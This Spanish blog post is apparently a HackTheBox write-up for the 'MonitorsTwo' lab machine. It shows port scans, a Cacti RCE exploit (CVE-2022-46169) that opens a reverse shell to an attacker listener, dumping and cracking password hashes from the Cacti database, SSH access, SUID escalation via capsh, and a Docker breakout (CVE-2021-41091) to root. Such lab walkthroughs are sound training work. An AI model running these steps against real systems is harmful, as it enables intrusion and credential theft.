Post

HackTheBox - MonitorsTwo

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: RCE (CVE-2022-46169), Docker Breakout (CVE-2021-41091)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina MonitorsTwo

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p22,80 -sCV <IP> -oN versiones

c. Vemos el servicio web de la página web

  • Si buscamos por alguna vulnerabilidad del servicio cacti 1.2.22 nos encontramos con CVE-2022-46169

  • Nos ponemos en escucha con nc, y ejecutamos el script

    1
    2
    3
    4
    
      root@kali> python exploit.py -u http://10.10.11.211/ --LHOST=10.10.14.174 --LPORT=443
      --------------------------------------------------------------------------------------
      root@kali> nc -lvnp 443
      www-data@50bca5e748b0:/var/www/html$
    

Escalada de Privilegios 💹

a. Estamos en un contenedor

1
2
www-data@50bca5e748b0:/var/www/html$ hostname -I
172.19.0.3
  • Vemos el fichero entrypoint.sh en la raíz del sistema

    1
    2
    3
    4
    
      www-data@50bca5e748b0:/$ cat entrypoint.sh
    
      mysql --host=db --user=root --password=root cacti
      <SNIP>
    
  • Con la cadena conexión de mysql nos conectamos a este servicio y lo inspeccionamos

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    
      www-data@50bca5e748b0:/$ mysql --host=db --user=root --password=root
    
      MySQL [(none)]> show databases;
      +--------------------+
      | Database           |
      +--------------------+
      | information_schema |
      | cacti   <---       |
      | mysql              |
      | performance_schema |
      | sys                |
      +--------------------+
      5 rows in set (0.002 sec)
    
      MySQL [(none)]> use cacti;
      MySQL [(none)]> show tables;
    
      <SNIP>
      | user_auth          |
      <SNIP>
      MySQL [cacti]> select username, password from user_auth;
      +----------+--------------------------------------------------------------+
      | username | password                                                     |
      +----------+--------------------------------------------------------------+
      | admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
      | guest    | 43e9a4ab75570f5b                                             |
      | marcus   | $2y$10$vcrYth5Y[SNIP]                                        |
      +----------+--------------------------------------------------------------+
    

b. Crackeamos los hashes de admin y marcus con john

1
2
root@kali> john hashes.txt -w=/usr/share/wordlists/rockyou.txt
<Hash marcus>:f[SNIP]y

c. Estas credenciales nos sirven para autenticarnos en el servicio SSH

1
2
root@kali> ssh marcus@10.10.11.211
marcus@monitorstwo:~$
  • Después de inspeccionar todo el sistema en busca de formas de escalar privilegios nos encontramos con este mensaje

    1
    2
    3
    4
    5
    6
    7
    8
    
      marcus@monitorstwo:~$ cat /var/mail/marcus
    
      From: administrator@monitorstwo.htb
      To: all@monitorstwo.htb
    
      CVE-2021-33033: This vulnerability <SNIP>
      CVE-2020-25706: This cross-site scripting <SNIP>
      CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization.<SNIP>
    
  • La vulnerabilidad que más nos llama la atención es CVE-2021-41091 ya que implica el uso de Docker. Al buscar un exploit con ese CVE con encontramos con esto, para que este script funcione debemos darle permiso SUID a la bash de un contenedor

d. Buscaremos formas de escalar privilegios en el contenedor

1
2
3
www-data@50bca5e748b0:/var/www/html$ find / -perm -4000 2>/dev/null
<SNIP>
/sbin/capsh
  • En gtfobins encontramos una forma, y le daremos permiso SUID a la bash

    1
    2
    
      www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
      root@50bca5e748b0:/var/www/html# chmod +s /bin/bash
    

e. Por último ejecutamos el script y conseguiremos acceso como root

1
2
3
4
5
6
7
8
9
10
marcus@monitorstwo:/tmp$ ./exploit.sh

Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes

[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didnt spawn a shell go to this path and execute './bin/bash -p'

marcus@monitorstwo:/tmp$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root
This post is licensed under CC BY 4.0 by the author.